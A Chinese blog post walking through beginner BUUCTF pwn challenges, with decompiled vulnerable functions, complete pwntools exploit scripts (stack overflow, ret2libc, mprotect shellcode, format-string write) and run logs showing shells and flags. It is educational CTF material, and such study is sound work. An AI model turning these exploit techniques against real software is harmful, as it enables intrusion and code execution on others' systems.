今天你pwn了吗(上)

作者: 蚁景科技 | 来源:发表于2020-05-08 09:39 被阅读0次

前言:

"二进制太难了", 一起到 buu 开始 刷题吧。这里 仅记录 下 非高分题目的 解题思路和 知识讲解。特别是文章里的函数,我特意整理了下,还请好好学习下。

test_your_nc 18.04

64位的elf 程序,一运行就拿到shell了。

nc 连接下远程,即可拿到 flag。

rip

在pwn 中,控制了rip 就控制了世界。64位程序 拖入ida:

如果我们将 main函数的retrun 地址处 给覆盖成 0x401186,那么在程序执行到 return的时候,rip 就会被赋值给 0x401186,于是就紧接着执行 后门函数 fun()从而拿到shell。这里就简单 看下 gets函数吧。

所以 这题我们可以输入任意字节数据, s的偏移 为 rbp-Fh 于是我们构造payload "a"*0xf+p64(0xdeadbeef)+p64(0x401187) #0x401186的有点问题,于是加1。

我们写下 以下 exp拿得 flag:

warmup_csaw_2016

和上题几乎一样,64位elf程序 且 有栈溢出 漏洞,有后门函数。

v5的偏移 为 rbp-40h, 和上题的思路一样,我们写出下面 exp:

拿到 flag:

pwn1_sctf_2016

32位的c++写的程序 这里我们首先简单看下 C++中的两个 函数:

fgets

函数原型:char * fgets ( char * str, int num, FILE * stream );

函数功能:

从流中读取字符,并将它们作为C字符串存储到str中,直到已读取(num-1)个字符或到达换行符或到达文件末尾(以先发生的为准)。

换行符使fgets停止读取,但是该函数将其视为有效字符并包含在复制到str的字符串中。

复制到str的字符后会自动附加一个终止的空字符。

请注意,fgets与gets完全不同:fgets不仅接受流参数,而且还允许指定str的最大大小,并在字符串中包括任何结尾的换行符。

std:replace

https://blog.csdn.net/jiary5201314/article/details/52502516

函数原型:

template 

void replace (ForwardIterator first, ForwardIterator last,

const T& old_value, const T& new_value);

函数功能:

替换范围内的值

将new_value分配给[first,last)范围内所有等于old_value的元素。

该函数使用"operator ==" 将各个元素与old_value进行比较。

该功能模板的行为等效于:

template 

void replace (ForwardIterator first, ForwardIterator last,

const T& old_value, const T& new_value)

{

while (first!=last) {

if (*first == old_value) *first=new_value;

++first;

}

}

参数再介绍:

first, last:将迭代器转发到元素序列中的初始位置和最终位置,这些元素支持比较并分配为T类型的值。

使用的范围是[first,last),其中包含first和last之间的所有元素,包括由指向的元素 首先但不是最后指出的元素。

old_value:要替换的值。

new_value:新的值

可以暂时粗略地地这样记下:replace (first,last,old_value,new_value);

std::string::operator=(&input, &s);

作用:就是 将s指针赋值到 inputs地址里了。//我真是太懒了。

strcpy:

函数原型:char * strcpy ( char * destination, const char * source );

函数功能:

将source指向的C字符串复制到destination指向的数组中,包括终止的空字符(并在该位置停止)。

为避免溢出,目标指向的数组的大小应足够长,以包含与源相同的C字符串(包括终止空字符),并且在内存中不应与源

ida:

int vuln()

{

const char *v0; // eax

char s; // [esp+1Ch] [ebp-3Ch]

char v3; // [esp+3Ch] [ebp-1Ch]

char v4; // [esp+40h] [ebp-18h]

char v5; // [esp+47h] [ebp-11h]

char v6; // [esp+48h] [ebp-10h]

char v7; // [esp+4Fh] [ebp-9h]

printf("Tell me something about yourself: ");

fgets(&s, 32, edata);

std::string::operator=((int)&input, (int)&s); // 将s_addr复制到input_addr中

// 即 执行后 input_addr地址里存的内容是 s_addr 地址

std::allocator::allocator(&v5);         // 给v5申请内存

std::string::string(&v4, "you", &v5);         // v4被赋值 成了" you"  v5不变

std::allocator::allocator(&v7);         // 给v5申请内存

std::string::string(&v6, "I", &v7);           // v6被赋值 成了" I"  v7不变

replace((std::string *)&v3);

std::string::operator=(&input, &v3, &v6, &v4);// 这里 ida 反编译的有些毛病

// 正常的话 19和20行应该是下面的样子:

//  replace (v3,&inputs,"I","you");

//

// replace后存在 inputs里

std::string::~string((std::string *)&v3);

std::string::~string((std::string *)&v6);

std::allocator::~allocator(&v7);

std::string::~string((std::string *)&v4);

std::allocator::~allocator(&v5);

v0 = (const char *)std::string::c_str((std::string *)&input);// 获取C字符串等效返回一个数组的指针,该数组包含一个以null结尾的字符序列

// (即表示字符串对象的当前值。该数组包含组成字符串对象的值的相同字符序列,并在末尾附加一个终止空字符('\0')。

strcpy(&s, v0);                            //栈溢出漏洞

return printf("So, %s\n", &s);

}

int get_flag()                   //0x08048F0D

{

return system("cat flag.txt");

}

觉得这题是C++程序,因本垃圾对C++的 接触程度 简直是个无基础,去查了下 相关的函数,所以这题整体来说 还是一个 很简单的题。

栈溢出 漏洞,且存在 后门函数 即get_flag。程序的流程 其实 是 我们输入字符串有字节限制:32,并且将字符串中的 "I"变成"you",然后变之后的 字符串再存在&s处,偏移是 ebp-3Ch。

具体大家看 上面分析和注释就好了。0x3c加上ebp的四字节,retaddr的4字节,需要0x3c+4+4等于68字节

我们输入 21个"I"的话就相当于 已经输入 63字节,然后补上一个字节,再补上后门地址,我们刚刚好输入的字节少于 32。满足要求。

写出的exp如下:

拿到 flag.txt

$ python pwn1_sctf_2016.py

[+] Starting local process './pwn1_sctf_2016': pid 2148

[+] Opening connection to node3.buuoj.cn on port 28977: Done

[DEBUG] Sent 0x1b bytes:

00000000  49 49 49 49  49 49 49 49  49 49 49 49  49 49 49 49  │IIII│IIII│IIII│IIII│

00000010  49 49 49 49  49 61 0d 8f  04 08 0a                  │IIII│Ia··│···│

0000001b

[*] Switching to interactive mode

[DEBUG] Received 0x2b bytes:

'flag{41400e92-b944-453c-aef3-7a266312708a}\n'

ciscn_2019_n_1

64位elf 程序:

gets函数 可导致栈溢出,如果要pwn到这个程序 我们仅需将 v2 处 覆盖为 11.28125,即可拿到 flag 程序中已经有了 11.28125 在 内存中存储的 是 41348000h,大家有兴趣可以去搜索下,是如何转换的。于是我们写以下 exp:

可以拿到 flag

其实 还可以 将func的返回地址 给后门函数 也很简单。就不写了。

ciscn_2019_c_1

64位elf程序,我们直接看ida 好了。ida:

int __cdecl main(int argc, const char **argv, const char **envp)

{

int v4; // [rsp+Ch] [rbp-4h]

init();

puts("EEEEEEE                            hh      iii                ");

puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");

puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");

puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");

puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");

puts("====================================================================");

puts("Welcome to this Encryption machine\n");

begin();                                      //  puts("====================================================================");

//   puts("1.Encrypt");

//   puts("2.Decrypt");

//   puts("3.Exit");

//   return puts("Input your choice!");

while ( 1 )

{

while ( 1 )

{

fflush(0LL);

v4 = 0;

__isoc99_scanf("%d", &v4);                // 十进制输入

getchar();

if ( v4 != 2 )

break;

puts("I think you can do it by yourself");

begin();

}

if ( v4 == 3 )

{

puts("Bye!");

return 0;

}

if ( v4 != 1 )

break;

encrypt();

begin();

}

puts("Something Wrong!");

return 0;

}

int encrypt()

{

size_t v0; // rbx

char input[48]; // [rsp+0h] [rbp-50h]

__int16 v3; // [rsp+30h] [rbp-20h]

memset(input, 0, sizeof(input));

v3 = 0;

puts("Input your Plaintext to be encrypted");

gets(input);                                  // 栈溢出漏洞

while ( 1 )

{

v0 = (unsigned int)x;

if ( v0 >= strlen(input) )

break;

if ( input[x] <= 96 || input[x] > 'z' )     // 不属于[a-z]    input[x]^13

{

if ( input[x] <= 64 || input[x] > 'Z' )   // 不属于[A-Z]   input[x]^14

{

if ( input[x] > 47 && input[x] <= '9' ) // [0-9]         input[x]^15

input[x] ^= 15u;

}

else

{

input[x] ^= 14u;

}

}

else

{

input[x] ^= 13u;

}

++x;

}

puts("Ciphertext");

return puts(input);

}

很简单的 栈溢出题。这题没有给libc,而buu上的环境是 18.04.我这里使用 LibcSearcher 找出的libc,真的很好用。然后这题的encrypt函数中 会把我们的输入做异或处理,(见上面注释)我以为 的输入内容会 很大程度上 改变我们输入的 变化甚至输入的长度,特别是觉得会导致 最后 覆盖 ret_addr上 数据 因异或处理而 没有了作用。但又看了下源码,并不会。因为 这题最多 只对 48字节做了异或处理。就不再担心了。

如果 对我们的输入的所有数据都做异或的 话,也是有办法 解决的。因为根据异或的特性,二次异或后 就还是 原 数据了。即输入前可让我们的payload先经一次异或处理再传入。大家可以看下这个文章:

下面是我写的 exp:

from pwn import *

from LibcSearcher import *

context.log_level = 'debug'

#p=process("./ciscn_2019_c_1")

p=remote("node3.buuoj.cn",25495)

elf=ELF("./ciscn_2019_c_1")

puts_plt=elf.plt['puts']

puts_got=elf.got['puts']

start_addr=0x400790

pop_rdi_ret=0x400c83

payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)

p.sendlineafter("Input your choice!\n","1")

p.sendlineafter("Input your Plaintext to be encrypted\n",payload)

p.recvuntil('@')

p.recvline()

puts_addr=u64(p.recv(6).ljust(8,'\x00'))

print "puts_addr is "+hex(puts_addr)

libc=LibcSearcher("puts",puts_addr)

libc_base=puts_addr-libc.dump("puts")

system_addr=libc_base+libc.dump("system")

str_bin_sh=libc_base+libc.dump("str_bin_sh")

print "libc_base is "+hex(libc_base)

print "system_addr is "+hex(system_addr)

print "str_bin_sh is "+hex(str_bin_sh)

ret_addr=0x4006b9

payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

payload="a"*0x50+"a"*0x8+p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

p.sendlineafter("Input your choice!\n","1")

p.sendlineafter("Input your Plaintext to be encrypted\n",payload)

p.interactive()

另外 在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客

http://blog.eonew.cn/archives/958

"自己跟进去的话,能够看到确实是栈没对齐,那很简单,多加个ret对齐,再找个ret的gadget就可以." 这里我就没有跟了,直接 加了ret 。顺利拿到flag。

[OGeek2019]babyrop

在看这题之前 我们来简单看下几个C函数:

strlen()

函数原型:size_t strlen ( const char * str );

函数功能:

返回C字符串str的长度。

C字符串的长度由终止的空字符确定:C字符串的长度与字符串开头和终止的空字符之间的字符数一样长(不包括终止的空字符本身)。

strncmp()

函数原型:int strncmp ( const char * str1, const char * str2, size_t num );

函数功能:

比较两个字符串的字符,比较C字符串str1的num字符和C字符串str2的num字符。

这个函数开始比较每个字符串的第一个字符。如果它们彼此相等,则继续执行以下操作,

直到字符不同为止,直到到达一个终止的空字符,或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)

然后 分析下程序流程,看ida:

int __cdecl main()

{

int buf; // [esp+4h] [ebp-14h]

char v2; // [esp+Bh] [ebp-Dh]

int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();

fd = open("/dev/urandom", 0);

if ( fd > 0 )

read(fd, &buf, 4u);

v2 = sub_804871F(buf);

sub_80487D0(v2);

return 0;

}

*******************************************************************

int __cdecl sub_804871F(int a1)

{

size_t v1; // eax

char s; // [esp+Ch] [ebp-4Ch]

char buf[7]; // [esp+2Ch] [ebp-2Ch]

unsigned __int8 v5; // [esp+33h] [ebp-25h]

ssize_t v6; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);

memset(buf, 0, 0x20u);

sprintf(&s, "%ld", a1);

v6 = read(0, buf, 0x20u);

buf[v6 - 1] = 0;

v1 = strlen(buf);

if ( strncmp(buf, &s, v1) )

exit(0);

write(1, "Correct\n", 8u);

return v5;

}

**************************************************************

ssize_t __cdecl sub_80487D0(char a1)

{

ssize_t result; // eax

char buf; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )

result = read(0, &buf, 0xC8u);

else

result = read(0, &buf, a1);

return result;

}

即首先 我们取出 一个随机数 作为参数 a1传入 sub_804871F函数处理。

sub_804871F函数是将我们的输入 buf 给 那个随机数 a1做比较,比较的字节数是buf的的strlen 长度。但经过上面我们的介绍,strlen 遇到 \x00便停止函数执行。从而去绕过 strncmp 函数。

而 sub_804871F函数 中的v5是最后的返回值,而这个v5 我们可以通过v6 = read(0, buf, 0x20u); 这里去 覆盖 v5的值。我们把它覆盖很大 就好了。

在最后的 sub_80487D0 函数中,我们可通过 上面覆盖的 v5 作为read的第三个参数,从而有栈溢出漏洞。通过write 去泄露libc 然后得到system 和 /bin/sh 从而去getshell。

于是我写出以下 exp:

from pwn import *from LibcSearcher import *#context.log_level = 'debug'#p=process("./babyrop")p=remote("node3.buuoj.cn",29981)elf=ELF("./babyrop")

#gdb.attach(p)payload="\x00\x00\x00\x00"+"a"*(0x2c-0x25-0x4)+"\xff"p.sendline(payload)p.recvuntil("Correct\n")write_plt=elf.plt['write']write_got=elf.got['write']main_addr=0x08048825payload="a"*0xE7+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)p.sendline(payload)write_addr=u32(p.recv(4))print "write_addr is "+hex(write_addr)libc=LibcSearcher("write",write_addr)libc_base=write_addr-libc.dump("write")system_addr=libc_base+libc.dump("system")str_bin_sh=libc_base+libc.dump("str_bin_sh")print "libc_base is "+hex(libc_base)print "system_addr is "+hex(system_addr)print "str_bin_sh is "+hex(str_bin_sh)payload="\x00\x00\x00\x00"+"a"*(0x2c-0x25-0x4)+"\xff"p.sendline(payload)p.recvuntil("Correct\n")payload="a"*0xE7+p32(0xdeadbeef)+p32(system_addr)+p32(main_addr)+p32(str_bin_sh)p.sendline(payload)p.interactive()

拿到flag:

$ python babyrop.py

[+] Opening connection to node3.buuoj.cn on port 29981: Done

[*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/[OGeek2019]babyrop/babyrop'

Arch:     i386-32-little

RELRO:    Full RELRO

Stack:    No canary found

NX:       NX enabled

PIE:      No PIE (0x8048000)

write_addr is 0xf7e853c0

[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.

libc_base is 0xf7db1000

system_addr is 0xf7deb940

str_bin_sh is 0xf7f0a02b

[*] Switching to interactive mode

$ cat flag

flag{543be984-c4bd-48ac-94a4-f5fadc41bd05}

ciscn_2019_en_2

额,这题简单看一下和上面那题 ciscn_2019_c_1 好像一样,跑了下上面的 exp 也能跑通,就不记录了。

get_started_3dsctf_2016

这题仍然程序很小,开启了NX保护的32位的elf程序:查询保护:

其实还是 挺麻烦的,如果 要拿到远程的 flag的话。ida:

int __cdecl main(int argc, const char **argv, const char **envp)

{

char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);

gets(&v4);                            //gets 栈溢出漏洞。

return 0;

}

void __cdecl get_flag(int a1, int a2)   //0x080489A0

{

int v2; // eax

int v3; // esi

unsigned __int8 v4; // al

int v5; // ecx

unsigned __int8 v6; // al

if ( a1 == 0x308CD64F && a2 == 0x195719D1 )

{

v2 = fopen("flag.txt", "rt");

v3 = v2;

v4 = getc(v2);

if ( v4 != 255 )

{

v5 = (char)v4;

do

{

putchar(v5);

v6 = getc(v3);

v5 = (char)v6;

}

while ( v6 != 255 );

}

fclose(v3);

}

}

gets 使得我们可以输入任意字节数据。我们把ret_addr处 给覆盖为 后门函数 get_flag(a1,a2)的地址0x080489A0 ,但 这个后门函数的两个参数 必须分别是 0x308CD64F 和 0x195719D1才可拿到 flag。

exp如下:

from pwn import *

from LibcSearcher import *

#context.log_level="debug"

p=process("./get_started_3dsctf_2016")

#p=remote("node3.buuoj.cn","26350")

#gdb.attach(p)

payload="a"*0x38+p32(0x080489A0)+p32(0xdeadbeef)+p32(0x308CD64F)+p32(0x195719D1)

p.sendline(payload)

p.interactive()

本地可以成功拿到flag.txt

$ python get_started_3dsctf_2016.py

[+] Starting local process './get_started_3dsctf_2016': pid 7833

[*] Switching to interactive mode

Qual a palavrinha magica? flag{shimutouna}

[*] Got EOF while reading in interactive

但远程却不可以,报如下错

我们 去想下 第二种 做法:在这之前我们 去 了解下 mprotect函数:

我们通过 vmmap命令可查看到:0x80ea000 -0x80ec000的内存是 可读可写,我们通过 mprotect函数 让它也可执行。

pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

0x8048000  0x80ea000 r-xp    a2000 0      /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016

0x80ea000  0x80ec000 rw-p     2000 a1000  /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016

0x80ec000  0x810f000 rw-p    23000 0      [heap]

0xf7ff9000 0xf7ffc000 r--p     3000 0      [vvar]

0xf7ffc000 0xf7ffe000 r-xp     2000 0      [vdso]

0xfffdd000 0xffffe000 rw-p    21000 0      [stack]

pwndbg>

因为开启了NX,我们 不可以再栈中去传入 shellcode去执行了,但我们在ida 的函数栏可以看到 函数栏中 有 mprotect。于是 我们可以通过 修改 某段内存为 可读可写可执行的 权限,我们 通过rop的方式向 那个内存写入shell ,最后在控制程序执行到那里 便可以 去执行 shellcode了 我们重新编写 exp:

from pwn import *

from LibcSearcher import *

#context.log_level="debug"

#p=process("./get_started_3dsctf_2016")

elf=ELF("./get_started_3dsctf_2016")

p=remote("node3.buuoj.cn","26350")

#gdb.attach(p)

ret_addr=0x08048196

mprotect_addr=elf.sym["mprotect"]

read_plt=elf.sym["read"]

pop_3_ret=0x08063adb

m_start= 0x80ea000   #vmmap

len=0x2000

prot=4+2+1           #(rwx)

#ropper --file get_started_3dsctf_2016 --search "pop|ret"

'''

0x08063adb: pop edi; pop esi; pop ebx; ret;

'''

payload_1="a"*0x38+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot) #mprotect(m_start,len,7);

payload_1+=p32(read_plt)+p32(pop_3_ret)+p32(0)+p32(m_start)+p32(0x100)#read(0,m_start,100)

payload_1+=p32(m_start)

p.sendline(payload_1)

payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')# shellcode len is 40

p.sendline(payload_2)

p.interactive()

成功拿下远程 flag:

ciscn_2019_n_8

32位elf程序保护全开。看下程序流程:

int __cdecl main(int argc, const char **argv, const char **envp)

{

int v4; // [esp-14h] [ebp-20h]

int v5; // [esp-10h] [ebp-1Ch]

var[13] = 0;

var[14] = 0;

init();

puts("What's your name?");

__isoc99_scanf((int)"%s", (int)var, v4, v5);

if ( *(_QWORD *)&var[13] )

{

if ( *(_QWORD *)&var[13] == 17LL )

system("/bin/sh");

else

printf(

"something wrong! val is %d",

var[0],

var[1],

var[2],

var[3],

var[4],

var[5],

var[6],

var[7],

var[8],

var[9],

var[10],

var[11],

var[12],

var[13],

var[14]);

}

else

{

printf("%s, Welcome!\n", var);

puts("Try do something~");

}

return 0;

}

这题发现我们的输入数据存在了 int var[15]的数组里,而当 var[13] ==17时就可以拿到shell了。放了截图就好了。

[第五空间2019 决赛]PWN5

此题为32位elf程序:拖入ida:

int __cdecl main(int a1)

{

unsigned int v1; // eax

int fd; // ST14_4

int result; // eax

int v4; // ecx

unsigned int v5; // et1

char nptr; // [esp+4h] [ebp-80h]

char buf; // [esp+14h] [ebp-70h]

unsigned int v8; // [esp+78h] [ebp-Ch]

int *v9; // [esp+7Ch] [ebp-8h]

v9 = &a1;

v8 = __readgsdword(0x14u);

setvbuf(stdout, 0, 2, 0);

v1 = time(0);

srand(v1);

fd = open("/dev/urandom", 0);

read(fd, &unk_804C044, 4u);

printf("your name:");

read(0, &buf, 0x63u);

printf("Hello,");

printf(&buf);                                 // 格式化字符串漏洞

printf("your passwd:");

read(0, &nptr, 15u);

if ( atoi(&nptr) == unk_804C044 )

{

puts("ok!!");

system("/bin/sh");

}

else

{

puts("fail");

}

result = 0;

v5 = __readgsdword(0x14u);

v4 = v5 ^ v8;

if ( v5 != v8 )

sub_80493D0(v4);

return result;

}

我们可以看到 程序的流程为 将一个随机数存入 0x804C044地址上。然后只要我们输入一个数 与0x804c044上的数据一致就可拿到flag。而在第 25行的 printf(&buf); 经典的 格式化字符串漏洞。可任意地址读写,我们通过%offsset$n 的的方式 任意写 使得 0x804C044地址上的数据 为 可控值。经 动态可得 我们的输入 的偏移为 10,我们可构造以下payload

payload=p32(mubiao_addr)+p32(mubiao_addr+1)+p32(mubiao_addr+2)+p32(mubiao_addr+3)

payload+="%10$hhn%11$hhn%12$hhn%13$hhn"

简单说明下,偏移为10的地址上存着 mubiao_addr,偏移为11的地址上存着 mubiao_addr+1,偏移为12的地址上存着 mubiao_addr+2,偏移为13的地址上存着 mubiao_addr+3,%10hhn会将前面已经输出的字节(数0x10)写入到偏移为10的地址上mubiaoaddr种去,hhn,%12,hhn,hhn ,效果类似。 具体 格式化字符串漏洞学习 可在 ctfwiki上学习。于是我们写出 以下 exp:

from pwn import *

#p=process("./pwn5")

p=remote("node3.buuoj.cn",27842)

#gdb.attach(p)

#p.recvuntil("your name:")

offset=10

mubiao_addr=0x804C044 #  elf:32

payload=p32(mubiao_addr)+p32(mubiao_addr+1)+p32(mubiao_addr+2)+p32(mubiao_addr+3)

payload+="%10$hhn%11$hhn%12$hhn%13$hhn"

p.sendline(payload)

raw_input

p.sendline(str(269488144))#0x10101010->269488144

p.interactive()

成功getshell。

后记:

师傅们,今天你pwn 了!!!

相关推荐:高级栈溢出技术—ROP实战(write4)

http://www.hetianlab.com/expc.do?ec=ECIDde51-4540-4672-a9b8-a4f1a0482414

渗透测试训练营

相关文章

  • 今天你pwn了吗(上)

    前言: "二进制太难了", 一起到 buu 开始 刷题吧。这里 仅记录 下 非高分题目的 解题思路和 知识讲解。特...

  • 今天你pwn了吗(二)

    前言: "二进制太难了", 一起到 buu 开始 刷题吧。这里 仅记录下非高分题目的解题思路和知识讲解。特别是文章...

  • 今天你上秤了吗?

    每天吵着要减肥只是吓吓肉而已。 小云南刚打开寝室门就看到秤上的我,她面无表情地叹一声:“今天第五次了。”而我有点...

  • 新手科普 | CTF PWN堆溢出总结

    新手科普 | CTF PWN堆溢出总结 pwn堆溢出基础 CTF pwn 中最通俗易懂的堆入坑指南CTF pwn ...

  • MCTF pwn

    pwn2 from pwn import * #p=process("./pwn2") p=remote("120...

  • 什么是pwn/二进制溢出

    什么是pwn? In script kiddie jargon, pwn means to compromise ...

  • 今天你断舍离了吗?(上)

    人们都喜欢买买买,女士喜欢衣服,口红,包包,鞋子……男士喜欢买各种游戏皮肤或者装备,又或是电子产品…… 明...

  • 今天干什么了

    今天你早起了吗? 今天你偷懒了吗? 今天你工作有进展了吗? 今天你学习了吗? 今天介绍过自己了吗? 今天你有目标了...

  • Int 0x80 ROP链(x86)

    2017年湖湘杯的一道pwn题 2017 湖湘杯 pwn300 用memcpy把堆中数据向栈上写的时候造成栈溢出 ...

  • 安恒一月赛2019 PWN

    0x01 pwn1 0x02 pwn2

网友评论

    本文标题:今天你pwn了吗(上)

    本文链接:https://www.haomeiwen.com/subject/jayxnhtx.html